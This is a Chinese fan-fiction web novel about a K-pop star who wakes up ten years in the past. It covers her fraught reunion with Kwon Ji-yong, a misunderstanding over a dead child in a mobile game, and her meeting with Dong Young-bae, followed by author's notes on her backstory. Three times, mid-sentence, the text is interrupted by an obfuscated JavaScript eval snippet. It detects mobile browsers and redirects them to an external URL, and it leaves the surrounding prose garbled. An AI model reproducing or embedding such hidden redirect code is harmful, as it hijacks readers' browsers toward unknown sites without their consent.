《【韩娱】我和你的这十年》 1. 回来了 1.回来了 一觉醒来,回到了十年前。 现在的我是叱咤娱乐圈的女王,十年前的我还是个摸爬滚打的顶流(?),没有了九位数的存款之后,我还要面对【目前正在虐恋情深剧情中不可自拔】其实已经两年没见面的前前前男友,这一切都让我感到十分惶恐无助,怎么办? 在线等,挺急的。 江留月足足用了一个小时确定自己是的确穿越回了十年前,而非是现在越玩越花的综艺在整蛊她。 谨慎如她,甚至随机使用了两种以上的交通工具跨越了五个街区并随机进入了一个影音店,看着满大街的李钟硕的海报,才有了一些实感。 什么疯魔节目组能租下首尔市中心的广告位呢? 还以为是经纪人要背刺,原来只是穿越啊,太好了。 江留月松了口气。 她找了家咖啡厅点了杯咖啡坐下,看着街头人来人往的人群发了会儿呆。 曾几何时,首尔的人群还没有那么黑灰白,而是还有一些色彩的斑斓,大家急匆匆的面容上也没有那么重的戾气,手机也只是闲暇的消遣而非精神的主人。 大家端着咖啡一边走一边聊天,注视着彼此的面孔的样子看起来十分真挚。 江留月将头偏向一边,咖啡店位于街口,她能看到零零散散的人群在穿过马路。 她能看到穿着校服端着一杯鱼饼汤的学生,拉着孩子的手欢声笑语的一家人,路过的婴儿车里也是真的婴儿,推着婴儿车的母亲脸色疲惫的挂着笑容,在婴儿车的车把手上挂上一袋打包的大葱和干海带。 不远处的路边停着老奶奶的酸奶车,她正靠在车座的位置上打盹,花白的头发被阳光照的透明,整个人如同被光晕包裹。 江留月就那么静静的看着,她觉得自己的心情已经很久没有如此平和过了。 天气很好,风吹拂过她的头发,她放置在桌面的手机嗡嗡震动,她却没有管手机,而是换了个更加舒服的姿势,侧身趴在椅座上继续自己的人类观察日记。 “客人,您的手机一直在响呢。” 端上一块蛋糕的店员带着甜美的微笑轻声说道。 江留月拿起手机,让开位置让店员放下蛋糕。 “没关系的,” 她快速的划掉来电名为S2S2的电话,露出微笑。 “不是什么重要的电话。” “可能是推销电话吧,推销一些没用又昂贵的东西。” 店员被她逗笑了,微微鞠躬请她用餐,倒退两步之后又没能忍住的往前来,她鼓起勇气,看向那个被棒球帽遮住大半张脸的人。 “那个……十分冒犯,但,Alice xi,能不能给我一张签名呢?” Alice xi。 江留月怔了一下,认领了自己的艺名。 她以为自己会忘记这个签名,但接过马克笔的瞬间,手腕就像是全自动一样一气呵成的写下了自己的签名。 甚至还顺手在签名旁边用韩语字符画上可爱的祝福语。 店员感激的道谢之后离开了,她却很久之后才回过神来,想要拿起叉子去吃那块蛋糕,却又觉得索然无味了。 她拿过手机,先开了个免打扰模式,然后又打开社交网站,想刷刷当下的新闻找找真实感,然后就被下面的一条新状态吸引了注意力。 那个穿着一身宽松卫衣运动裤散着头发戴着棒球帽只露出嘴唇下巴,在咖啡厅外面靠着椅座的女人,很明显就是自己。 照片照的还行,给她多个位置都给了特写,最后一张是一张略有些眼熟的签名。 她抬起头,透过玻璃看到刚刚那个女店员正一脸激动的飞速的操作手机,又低下头看看这条状态下飞速的点赞和评论,一种熟悉的感觉忽然涌到她的四肢百骸,让她浑身都有些发麻,不由得呼吸急促,心跳加速起来。 回来了。 回来了呀。 是这样的生活啊。 是这样毫无隐私、被随时监视、被当做流量热度被当做顶流被当做女神被当做幻想对象被当做姐姐当□□人当做妹妹当做宠物就是不当做人的生活啊!!! 她,真的回来了!!!! * 在引起更大的骚动或者被正好刷到状态的附近牛鬼蛇神抓到之前,江留月飞速起身离开了这家咖啡店。 此时她的通讯软件已经要爆了。 大概是找不到她,有个人拿出了“呼死你”的架势疯狂给所有的联系方式都来了一遍轰炸,包括且不限于她的社交媒体。 江留月不想看,因为看这个架势,他们大概刚吵了架或者来了一场十年后回想起来会尴尬到踢飞自己被子的拉扯。 她努力的回忆了一下,却发现自己回忆里权志龙2014年的模样早就模糊了。 当年哭的歇斯底里,闹得人尽皆知,撕得天昏地暗,疯得毫无体面的过去,甚至都不再占据她回忆的角落。 她和权志龙早就不吵架了。 最后一次吵架……好像还是在他进去服兵役之前。 很正常。 韩国男人去服兵役之前哪有不发疯的。 服兵役回来之后,再暴躁的脾气也会有所缓和的,面对完那些人类奇行种战友之后,权志龙看到杨贤硕都心态平和,跟她的沟通也终于像是个成熟男人该表现的那样了。 因此江留月变得十分不擅长面对这么一个敏感脆弱的十分孩子气的现男友。 是的,尽管2014年的权志龙在韩国这边已经是个27岁的大男人了,他依然保有近乎残忍的孩子气。 就是那种会因为一时之间的情绪就撕下蝴蝶翅膀,因为无聊就用开水浇蚂蚁窝的孩子气。 怪吓人的。 江留月可能是被权志龙搞怕了,所以后面找的两任男友都情绪稳定的如同卡皮巴拉。 属于看到权志龙来发疯,男友会情绪稳定的帮他们关好门甚至守在门口的那种。 哦……那次。 江留月发现自己的记忆出错了。 她和权志龙在兵役之后还是轰轰烈烈吵了一架的。 原因很简单。 当兵之前,权志龙说了一句气话,让她爱找谁就找谁,分就分,她有本事就趁着他在军队的时候直接找人结婚。 她找了。 权志龙直接一个大发疯。 那阵仗……和今天这个样式儿也差不多。 江留月感觉到手机在发烫。 她低头一看。 发现这手机还是三星的。 艹。 她在手机爆炸和权志龙爆炸中权衡利弊了一会儿,总算慢吞吞的接了电话。 “……你在哪儿。” 权志龙的声音冷静的可怕。 如果不是在发抖的话。 江留月脑子里又开始挖掘自己尘封已久的2014了。 她当年和权志龙闹过撕过还随地大小演过,现在是哪一出儿她确实想不起来。 她的沉默让权志龙的呼吸又急促了几分。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220421|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …位置发给我,我来接你。” 也许是江留月的错觉。 她听到权志龙十分艰难的咽了一口口水的声音,就像是怕吓到她一样。 嗯? 难道这次吵架,是她在上风? 江留月忽然精神抖擞起来,她装模作样的嗯了一声挂了电话,然后发了个定位给权志龙。 看着那个S2S2她有点碍眼,删了又不知道改成什么,最后改成了一个龙的图标。 等权志龙的功夫,她翻了翻他们的聊天记录,发现有一条记录是两个半小时前发的。 哦……大概就是她刚穿越过来那会儿。 信息十分简短。 但信息量十分爆炸。 “怎么办,我们的孩子没有了。” ……? 江留月恍惚了一下。 她摸了摸自己的肚子,除了咕噜噜的饥肠辘辘的声音没有摸到任何东西。 她又给自己把了个脉,长长出了一口气。 着实她的记忆里,确实没有这段戏。 片刻之后,她的眉头皱的死紧。 等下,这里说是2014,但没说是哪个2014吧? 这万一是个同人小说世界呢? 一般小说里不都这样写吗? 那么问题来了……如果这是个小说世界的2014…… 这小说的作者是什么流派? 是霸道顶流爱上我,痴情歌手带球跑,多年后是的我们有个孩子? 还是捐肾捐肝捐骨髓,我的爱情只是逆天医学界的教材报告? 还是…… 她正在发愁的时候,手机屏幕推送了一条信息给她。 发信人居然是崔胜铉。 看到这【toooooop】这个备注弹出来的时候,江留月都恍惚了片刻。 信息内容如下: “别害怕,我跟志龙一起来的。” 嗯。 我现在真的开始害怕了。 江留月心想。 这个作者……总不能是个……n……不,不对。 这里不让N。 ……那,那万一呢? 江留月犹豫了片刻,在跑和不跑之间徘徊的时候,一辆保姆车忽然杀到了她的面前。 唉。 果然,犹豫就会败北。 她思考片刻,决定水来土掩,兵来将挡。 她是一个成熟的歌手、演员、制作人,她不仅有着聪慧的大脑和无与伦比的美貌,她还有十分精湛的演技,大不了,她可以随地大小演。 车门哗一下开了,一个熟悉的身影三步并作两步跳下了车,他一定来的很匆忙,帽子都来不及戴一个,为新专辑攒的黑发胡乱梳拢,随意套着一件毛衣和牛仔裤,也没化妆,浅淡的五官,一双淡褐色的眼珠近乎琉璃一般透明。 江留月的脑子在瞬间似乎被清空了一下,她站在原地,直到对方抓住了她的手,才有了实感。 权志龙会说什么? 太多了吧。 那荒谬的信息,故意不接电话让事态恶化,又或者她早就不知道的争吵…… 她下意识的紧绷起来,脑子里闪过无数对策,只等着权志龙开口。 他却说。 “为什么那么冷。” 他攥紧了她的手塞进自己的毛衣里。 声音还有些颤抖。 “你的手为什么那么冷。” 他又重复了一遍。 然后将她紧紧地抱住。 2. 原来只是游戏 02.原来只是游戏 这个世界常常荒谬的让人没有实感。 哪怕这一刻也一样。 江留月下意识的绷紧了身体,她有些抗拒的将身体后倾,想要逃脱对方的拥抱,但似乎察觉到她的意图,权志龙的手臂牢牢地禁锢着她。 “放开。” 她压低声音呵斥道。 权志龙自然无动于衷。 江留月在这一刻对2014这个年份有了实感,此时的权志龙,还是个我行我素的家伙,他永远听不见她的拒绝、抗拒,只顾着一股脑对着她倾泻令人窒息的爱意。 好在此时的她已非当年那个总是犹豫不决的自己了。 “真的不放开吗?” 她发出了最后一声警告。 “你快要冻坏了。” 答非所问。 这也是权志龙的标志性风格。 他习惯用逃避、敷衍、转移矛盾点来解决他们之间的矛盾和所有问题。 江留月的火气腾的一下就起来了,热恋中没有脑子的她可能会觉得这句话代表权志龙对她的关心和呵护,但有脑子的她只看到对方一如既往的怯懦和逃避。 这个男人除了脸蛋和钱还有才华之后简直一无是处。 她恶狠狠地想。 汹涌的怒火让她的身体微微颤抖,权志龙可能以为她真的很冷,又或者,她因为伤心在哭,所以将她抱得更紧了一些。 “对不起,我们塔伊,对不起。” 他自言自语的道歉:“是我做错了,我真的做错了。” 来了。 熟悉的配方。 火速滑跪,坚决不改。 江留月怒从心生,更加用力的挣扎起来,显然,她的身体应该依然属于2014,此时疏于锻炼的她根本挣脱不了权志龙这个大力怪,她气的磨牙,想也不想就给了他一个迎面痛击。 字面意义上那种。 她深吸一口气,然后脑袋后仰之后给了权志龙一个重重的头槌。 两个人的脑壳放出清脆的磕碰,驾驶座鬼鬼祟祟观察情况的经纪人眼珠子都要掉出来,嘴巴长大像是能塞进去一个鹅蛋。 本来一条腿都要踏出来的崔胜铉又缩回了自己的腿,然后迅速回到自己的座位,开始擦自己那边的玻璃,假装自己什么都没看到。 权志龙痛到立刻松手,一只手捂着自己嗡嗡作响的头,一只手踉跄着抓住车门稳住身形,而同样头痛得要命的江留月则吸着气捂着自己的头后退一步和对方拉开了距离。 因为太疼了,权志龙话都说不出来,只是发出小狗被踢了一样的声音,哆哆嗦嗦的靠着门,痛的眼泪都出来了。 江留月深呼吸两口气,向他走过去。 权志龙吓得一抖,下意识的后退。 江留月伸出手将他用力往后一推,权志龙踉跄着倒入保姆车的车厢,江留月又踢了踢他两条瘦骨伶仃的腿,他立刻会意,乖乖的把腿缩了回去。 江留月关上车门,自己转身离开了副驾驶的门,上车,拉安全带,回头瞪了一眼驾驶座的经纪人。 没有一点语言的交流,但此时YG的工作效率达到了最高。 车厢里没有人说话,只有权志龙小声的吸气,大概是真的很痛,因为江留月从后视镜看到自己的额头已经开始淤青了。 她烦躁的抓起棒球帽扣在头上挡住了淤青,然后一脚踹在副驾驶前面的位置。 权志龙吸气的声音也停止了。 车里面是死一样的寂静。 可能是担心事态最终会崩盘闹得不可收拾,最终经纪人将车开到了公司的地下停车场,可能寄希望于他们能在工作的场合保持理智吧。 熄火之后,经纪人毫不犹豫的离开了车,没有一句多余的废话和沟通,他做出了正确的选择,但车厢里面明显有两个人的呼吸都急促了一些。 这台保姆车的副驾驶是可以向后转的,江留月将椅子旋转,自己面对着车厢里的两个男人:一个是坐在靠窗户位置始终没说话的崔胜铉,一个是坐在地上始终没起来的权志龙。 她看看旁边这个,又看看地上那个。 因为头太痛了,她一时之间竟然也不知道说什么好。 有那么瞬间,她想过将自己来自十年后的事情坦诚相告,但她不觉得有人会相信自己。 就算眼前是2014年的自己,也不会相信的。 她扫了一眼崔胜铉,他瞪着一双小鹿一样无辜的眼睛看着自己,看着比权志龙还要备受惊吓一些。 江留月的喉咙不自觉的吞咽了一下,然后迅速别开了眼神。 她上次见到崔胜铉,还是在两年前。 崔胜铉的堂弟结婚了,结婚的对象是江留月曾经合作过的一个室长,她结束了综艺节目的录制之后从上海飞抵达韩国,那天下了很大的雪,车辆缓慢艰难地行驶了足足两个多小时才抵达崔氏的祖宅。 她很久没有来木浦了,大雪覆盖之下的一切都让她感觉陌生,车辆停在祖宅的门口,她顺着记忆里的方向往前走,积雪在脚下发出声响,一切逐渐变得安静,她抬起头,看见崔胜铉穿着一身素色的韩服坐在木制走廊下,面前摆着燃烧的碳火和一篮黄澄澄的橙子。 崔胜铉只不过三十后半期,他变得瘦削苍白,本就锋利的眉眼像折断的炭笔,眼角并无皱纹,头发依然乌黑。 她却觉得自己看到一个垂垂老去的人。 “哥怎么变成这样了?” 江留月忍不住问道。 “罪人应该怎么样呢?” 崔胜铉对着她笑了笑: “就应该这样活着,不是吗?” 江留月似乎被刺了一下,她有些气急败坏的开口:“就算这样……” 一大堆大道理在嘴里打转。 她的气势很快回落,变得无精打采:“你应该更积极的活着,哪怕当做自己是在赎罪。” “那不是我的风格。” 崔胜铉的声音低哑。 “像是我这样的人……赎罪啊,积极生活啊,重新开始什么的……那不是我的风格。” 那你的风格是什么呢? 江留月的眼睛问出了她的话。 “我应该在这里……” “被埋掉。” 一阵寒意涌上身体,江留月打了个寒颤,这才回过神来。 不算明亮的车内,崔胜铉的眼睛还很明亮,他的表情有些疑惑,看起来像是一只警惕心十足的大兔子。 江留月将要说的话全部咽了回去。 她发现自己无法描述十年后的事情。 连张开嘴都很困难。 “冷吗?” 权志龙注意到了她身体的颤抖,急忙脱下了自己的外套搭在她的肩膀上,江留月被这种忽然的亲近打了个猝不及防,急忙推了他一把。 这下意识的反应让权志龙一屁股坐回地面,哎哟一声倒了下去。 三秒过去,车里很安静。 没人要去扶他,权志龙撇了撇嘴,就着坐在地上的姿势盘腿起来,然后柔弱无骨的往她的腿上趴过来。 “……太疼了,你要杀了我吗?” 他有些委屈的低声问道,眼睛红了一圈,像个无辜的水汪汪小狗。 江留月冷笑一声:“我让你放开了,哥不也没有吗?我给过机会了。” 权志龙立刻转移掉这个对自己不利的话题:“你都不接我的电话,为什么不接我的电话,找不到你,你知道我有多着急吗?” 江留月的脑子里滑过那个“我们的孩子没有了”的信息,旁敲侧击道:“怎么了,你是指孩子的事情吗?” “啊……孩子的事情……是我不对,但、但我真的在努力补救了,我真的,真的,求了哥很久,才求到的。” 权志龙揉着自己的额头,嘟囔道:“胜铉哥说把他的给我们。” “没错。” 被点名的崔胜铉煞有介事的点了点头:“我把我儿子给你们,这样你们就能幸福了。” ……? 什么? 这是我能听的吗? 不、不对……这是你能说的吗? 不是……这是能给的东西吗?! 江留月被这一句话给打的头晕脑胀,她怀疑自己是在幻听,又或者这个世界真是一个抓马的同人世界,有着例如小孩子会被国家发放又或者会在你20岁的时候被鹳鸟用嘴巴叼着放在窗台的神奇设定…… 还是她的确太久没有生活在韩语环境里,以至于听不懂他们的话产生了歧义? 见她沉默不语,崔胜铉摸出了手机,一番操作之后将手机递过来向她展示页面:“现在就给你转,祝贺你,玛纳森妈妈。” 江留月一头雾水的看向崔胜铉的手机。 那上面是一个游戏app,类似于手机版本的《模拟人生》,崔胜铉的页面上是一个黑人baby正在哇哇大哭,而此时,她的手机叮的一声。 江留月打开了自己的手机,看到了最新推送的消息:“您的邻居提偶皮将迪克玛纳森的抚养权转送给您,您的家园目前人口为3,请注意升级房子系统哦~” 她模糊的记忆在这个时候忽然露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220422|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一小块清晰的碎片。 哦,是曾经风靡韩国的一款小游戏,她想起来了,她兴致勃勃拉着权志龙在游戏里建立起他们的家园,装修设计不亦乐乎,然后在游戏里走进了婚姻的殿堂,并在游戏里孕育出了一个金发白种人boy和一个日本娃娃。 这个游戏类似于挂机离线的时候,里面的角色依然会活动,依然在幼儿期的两个小Npc需要定期上来进行喂养、梳洗以及陪伴。说实话,这个游戏很肝也很氪,尤其是有了孩子之后,房子、设施、街区都需要升级,每天日常任务超过了1个小时,刚开始还兴致勃勃的权志龙很快对此感到厌烦。 ———他本来也不喜欢这个游戏,这个游戏的建模不是他的取向,而且里面家具、街区背景也很丑,他玩这个游戏无非就是一时兴起。 但江留月不一样,她玩游戏的时候正好是休息日,连着一周猛猛玩不说,还邀请了所有的好朋友注册账号加入这个街区,刷完了大量的成就,她在这个丑陋的游戏里倾注的时间精力让她越来越舍不得这个游戏,包括两个看起来从各种意义来讲都不可能和她有半毛钱关系的小孩。 她拉着权志龙给两个孩子取了名字,做任务刷碎片集齐了限量服装碎片,甚至在论坛上刷资料来看怎么提升小孩子的属性。 她似乎没有感觉到权志龙的敷衍和不喜爱,将自己的热情一股脑的投入到里面,直到因为家族演唱会,她需要连续好几天排练和录制新歌。 她在不得不交出手机之前叮嘱权志龙上线做任务,权志龙的确去了,他看那个丑丑的房子太不顺眼了,把房子给拆了按照自己的喜好选择了背景色和花纹重新搭建,他没有注意到他拆掉的房子里包括婴儿房和保护围栏,当有人叫他工作的时候,他快速退出了游戏,只来得及保存房子修改。 当江留月再次上线的事后,两个婴幼期的小NPC一个从楼梯摔下一个跌入游泳池,只留下一个灰色的冷冰冰的对话框。 她直接在休息室里情绪崩溃,然后因为过度呼吸碱中毒被送到了医院。 啊,是了。 权志龙如此焦躁抓狂的原因,是因为她从医院一个人离开了,只说自己想一个人静静的休息几天。 他害怕她身体不舒服,也怕她出什么事儿,焦虑的食不下咽,反复的回想到底什么地方出了问题。 直到那条信息过来,他才反应过来,是那个游戏。 “这只是个游戏啊,真的只是个游戏啊,别再那么伤心了,塔伊啊,我真的知道错了,我一定好好照顾…呃……呃……玛纳森,这名字也太奇怪了……我们再给这个孩子取一个名字吧,我发誓,我这次真的好好玩,每天至少抽一个小时,所有的任务都帮你一起完成,好吗?” 权志龙蹲在她的面前,他像是一个虔诚而惶恐的信徒,用真挚的眼神看着江留月,声音带着点鼻音。 “笑一下,别不开心了,OPPA带你去吃点好吃的,再给你买几件暖和漂亮的衣服,开心点好不好?” 得不到回应,权志龙又很小声的嘟囔道:“你忽然从医院逃走,你知道我有多害怕吗?” 他将脸贴在江留月垂在膝盖的手上。 低声道: “坏丫头。” 大概是碰到了额头的伤口,他又忍不住嘶了一下,然后偷偷地抬起眼,在观察江留月的表情。 令他有些不安的是,江留月的表情是一种近乎死寂的平静。 她坐在那,背着光的脸只能看到抿成直线的嘴唇。 长久之后,她叹了口气,嗯了一声。 权志龙如释重负的出了口气,知道自己这次算是过关了,但不知道为何,他心里头却有着一块阴影挥之不去。 他猜应该是工作或者别的什么事情还被这孩子藏在心里头,她总是这样喜欢藏着心事不肯说,压抑得太久才会这样忽然爆发。 这个游戏,只是个导火索罢了。 找机会来查查看,到底是谁在这个孩子的身边乱说话了吧。 只要能让她开心,也要想一下别的办法,如果真的那么喜欢那个游戏,他要考虑一下找找攻略什么的,权志龙回忆了一下自己的人脉中是否有游戏公司的人,也许找回数据也不错,毕竟TOP哥的那个小孩确实太丑了…… 想到这,权志龙的心里又涌出密密麻麻的怜爱,他情不自禁的凑上去贴近江留月的身体,温暖的散发着熟悉香味的柔软躯体将焦躁的情绪像是熨斗一样抚平。 “呀,我还在这活着呢。” 这时候,崔胜铉忍无可忍道:“别在我跟前演爱情片,怪令人窒息的。” 3. 告状 03.告状 崔胜铉的玩笑话适当的缓解了有些暧昧的气氛,权志龙拉开车门跳下车,伸出手向江留月,同时转过头问崔胜铉道: “哥,要不要和我们一起去吃个饭?” “不用,我去一趟录音室。”崔胜铉瞄了一眼江留月,然后很快转回了目光。 江留月注意到了那转瞬即逝的目光停留,她停顿了一下,因而没有去抓住权志龙等待在空中的手,想要凑过去问崔胜铉一个问题的时候,权志龙身体前倾抓住了她的手腕,轻轻一拽,她就被从座位拖了过去,轻盈的落入权志龙的怀里。 几乎是瞬间,江留月的身体就绷紧了一下。 “走吧,OPPA带你去吃点好吃的。” 权志龙似乎毫无察觉,搂着她站好,一只手搂着她的肩膀,然后紧了紧。 江留月再次条件反射地躲了一下,没能躲掉,但权志龙的手攥着她的肩膀,变得更加用力了。 “我要去楼上看看,之前的工作没有收尾,我有点担心,哥自己去吃吧。” 江留月用力的掰开权志龙的手,才甩下去,对方又像是蛇一样缠上来,手指扣住她的手,几乎让她无法动弹。 江留月本想发脾气挣脱,但那修长漂亮的手指冷冰冰的,还有些潮湿,大概是出了不少汗,这让她不由得愣了一下。 这很罕见,权志龙是一个很从容的人,他鲜少有过手心发汗的时候,江留月一生中遭遇过许多重大时刻,她膝盖发软浑身冷汗的时候,就是这双干燥温暖的手一次次将她扯起来拽出泥潭。 上次握住这样的手…… 权志龙整个人都浸透在冷汗、雨水和怎么也停不下的眼泪里。 江留月心口钝痛了一下,下意识的抬头,对上了权志龙的眼神,那双淡色的眼睛里,有着许多翻滚的情绪,还有一些不知所措和委屈。 权志龙下意识的抿着嘴唇,喉结微微滑动,似乎想要发火,但最后还是忍住了。 他很小声的嘟哝着: “为什么我自己一个人去……” “我不是很饿,而且,工作不是累积了很多吗?哥你不是知道吗,我对这种并不是很擅长,反串什么的。” 江留月努力回忆里一下,模糊记得在这一年的家族con上面,她反串了tablo哥的乐队,tablo哥这位“吟游诗人”的歌词让她吃了好大苦头。 “反串?” 崔胜铉似乎有些莫名的问了一句。 “……什么问题呀,你都解决不了。”权志龙攥紧了她的手,轻声抱怨道:“再怎么样,身体才是最重要的,不是吗?” “你明知道我对rap真的不擅长……”江留月轻声道,见他确实不肯松手,只好找了个折中方案:“……不然,哥也陪我去看看吧。” 权志龙绷紧的嘴唇一下子就笑了,他刚才还沉郁的眉眼中忽然带上了狡猾和自得的游刃有余:“没事的,哥给你看一下,肯定能一下子就解决的。” “那哥给你点个外卖?现在让舜浩去买,吃点粥好吗?你记得上次把,我们在汉南洞吃的那家海鲜粥,你不是很喜欢他们家的章鱼粥吗?” 他一边说一边掏出手机,大约是给经纪人发信息。 江留月哪里还记得十年前吃过什么粥,只能答应着,然后回过头看向已经下车的崔胜铉:“哥呢?要吃什么?” “随便,志龙点吧。” 崔胜铉抖了抖自己被压出褶皱的大衣,他整理了一下自己的袖口,江留月看到他大拇指上的祖母绿戒指。 她想起来一些事情,但现在不是问崔胜铉的好时机,于是又闭上了嘴,这边权志龙将手机揣回口袋,三个人一起往电梯走去。(备注2) 江留月有些担心权志龙黏上来怎么办,但他在进入公司之后还是主动保持了距离,这让她不由自主的松了口气。 她没有注意到权志龙一只手在口袋里一直摩挲着手机,牙齿微微啃咬着自己的嘴唇,情绪明显焦躁了起来。 什么反串呢。 这次的家族con,江留月不是要翻唱gummy姐的歌吗? 这孩子是在胡言乱语什么,是真的生病所以迷糊了吗? 还是自己糊涂了? 权志龙有个瞬间都怀疑过自己,但当时崔胜铉的反应,也证明他并没有记错,两个人都了解江留月在家族con上的歌单,根本没有反串。 崔胜铉也有疑惑吧,但他向来不太爱当场就问出来,所以选择了沉默。 比起他,权志龙要更加的焦躁。 在场三个人里,只有他知道,江留月没有和他去汉南洞吃过粥,更不要说章鱼粥了,那还是之前在江南吃的,她吃了一口就吐掉了,说太奇怪了。 是因为精神恍惚所以没注意到吗? 权志龙心思不定的想着,眼神落在那注视了八年的身影上。 从总是低着头的女扮男装的“姜德利”到磕磕绊绊的练习生,从面对摄像机的时候总是忍不住低头埋胸到面对任何闪光灯都毫不怯场,没有人比他更了解这孩子。(备注1) 如此八年间,他从未在江留月身上感到过“陌生”。 只是突发奇想的试探和逗弄,但眼前的这个人,却突然变得陌生起来,变得不像是那个三天前还在他怀里醒来的人。 电梯稳步上升,权志龙的目光若有似无的落在江留月身上,这样仔细的端详之下,更多的违和感涌现出来。 江留月的肩膀随意而自然的舒展开,看起来放松的姿势,她却双手微微环胸做出警戒状,并微微抬着下巴,警惕而专注的看着变化的红色数字。 电梯门叮的一声打开了,江留月明显露出了有些迟疑的表情,当对面走过几个工作人员来打招呼的时候,她下意识的后退了一下,然后快速转头看向了权志龙。 权志龙立刻收敛好自己观察的表情,若无其事的问道:“怎么了?” 江留月摇了摇头,然后点头回应工作人员的招呼,三天前在休息室里她情绪崩溃大哭大闹的事情显然不是什么光彩的事情,大家都很有默契的避开了事件,只问候她的身体,她挑了一些模糊的答案敷衍了几句,然后站在走廊中间尴尬的顿住了脚步。 不知道为什么,崔胜铉低着头开始玩手机,权志龙则站在她身边也不动,她已经完全忘记十年前的走廊布局——大约是第二年,为了适应YG公司的两个新男团的发展,公司将办公室和休息室的位置进行了重新整理,后面的布局一直沿用到她离开YG。 她现在要怎么走? 停在这里会很奇怪吧? 正在她迟疑的时候,江留月忽然看到东永裴从走廊的尽头走拉过来,她松了口气,并因为看到东永裴而真情实感的开心起来。 “永裴哥!” 她呼唤了一声,然后朝着东永裴的方向跑过去。 东永裴一抬头,就看到江留月啪嗒啪嗒的跑过来,他也很担心对方的状况,急忙也迎了上来,嘴里不住地说着:“别跑,别跑,别摔了啊塔伊啊。” 熟悉的声音真切的关心朝着江留月扑来,她鼻头一酸,声音都有些哽咽了:“哥,永裴哥。” 十年后的东永裴已经是个孩子的爸爸了,自他结婚之后,尽管两夫妻一直都努力邀请江留月到家里来住一阵子,但江留月都拒绝了,只是在婚礼和满月酒、周岁宴都送上了很重的心意。 东永裴经常发许多视频照片给她分享生活,她总是认真的看完,然后简短的回复。 东永裴得到了幸福,她比任何人都高兴,但依然有一种被父母抛弃的委屈,面对东永裴的孩子的时候,有一种面对父母二胎的羡慕嫉妒之情。 东永裴结婚的时候,她甚至是不知所措的,她能感觉到这位真正可靠的,对她从来都无私照顾呵护的兄长正在从她的世界里被剥离出去,这当然是理所当然、正确的,但她依然委屈得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220423|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大哭了一场。(备注3) 猛然面对此时的东永裴,江留月一时之间克制不住,眼泪就流了出来。 陡然穿越十年的她,这一刻才踩到了土地上。 “怎么哭了,怎么哭了啊,为什么啊,为什么,别哭啊,为什么啊。” 东永裴急得一个劲“wei wei”的问,然后用有些疑惑的眼神看向后面跟着走过来的权志龙和崔胜铉。 江留月哽咽着眼泪啪嗒啪嗒掉,她有一肚子话要对东永裴说,却不知道从哪里说起。 她哭得太凶,头发也被眼泪沾到了脸上,东永裴叹着气给她护在了棒球帽捋捋头发,却看到额头上那一大块淤青。 “你脑袋怎么了?怎么了??” 东永裴吓了一跳:“摔了吗!?” 江留月哽咽着摇了摇头,指了指权志龙:“志龙哥弄的!” 权志龙:“?” 东永裴大受震撼:“他打你!?” 他抬起头,用不可置信的痛心的眼神看向权志龙。 权志龙:“????” 江留月:“啊?打……不是,但……是志龙哥的错。” 东永裴斩钉截铁:“你不要包庇他!!志龙就是被你惯坏的!” 权志龙:“????????” 江留月抽噎了一下,想了想,觉得有道理,于是点了点头。 权志龙:不、不是?!?!?等会?!!!! 权志龙:“永裴啊!!!!我、我也能哭的……我现在也要哭了!!!” 东永裴一边拿出手帕给江留月擦眼泪,一边用无语的表情看着他,然后摇头叹了口气,表情变得更加的难以言喻。 权志龙:?????????!! 权志龙:“TOP哥,你说句话啊,你不是一直在旁边吗?!” 崔胜铉:“也没错,是你弄的呀………如果不是塔伊来撞你的话,但,确实是你的错。” 权志龙:不是???没人为我发声吗?! 备注一:江留月出道背景按照《明月》和《如约》有修改,她的生父柳天赐没有去世,柳天赐父亲去世之后立刻联络了她的母亲,母亲带她改嫁到韩国,后江留月先是在中国饭店女扮男装打工每天给YG送炸酱面结识了权志龙,权志龙见“他”容貌清秀声音有天赋建议她成为练习生,后面女生身份暴露之后两个人就闹掰了(傲娇鬼觉得自己被耍了同时也觉得要逼迫她离开去读书);后来江留月因为柳家和崔家的关系再次认识了崔胜铉,在崔胜铉担保下来到YG成为练习生,最后从模特、MV女主转型为solo歌手。(也曾经担任BB的工作人员见习生,详情可见如约部分内容) 其昵称“六儿”考虑到韩国发音和文化,改为名字“月”的韩语发音“塔伊”。 备注二:祖母绿戒指沿用明月设定,崔胜铉的外祖家和柳天赐的柳家关系匪浅(详见明月章 节恶缘),崔胜铉发现她在家族生活艰难的事情之后为她担保带去YG当练习生,祖母绿戒指为崔胜铉的外公为当时怀孕来此避难的乔娜(江留月母亲)给的信物。代表两个人曾经有过父母做主的婚约(已作废)。 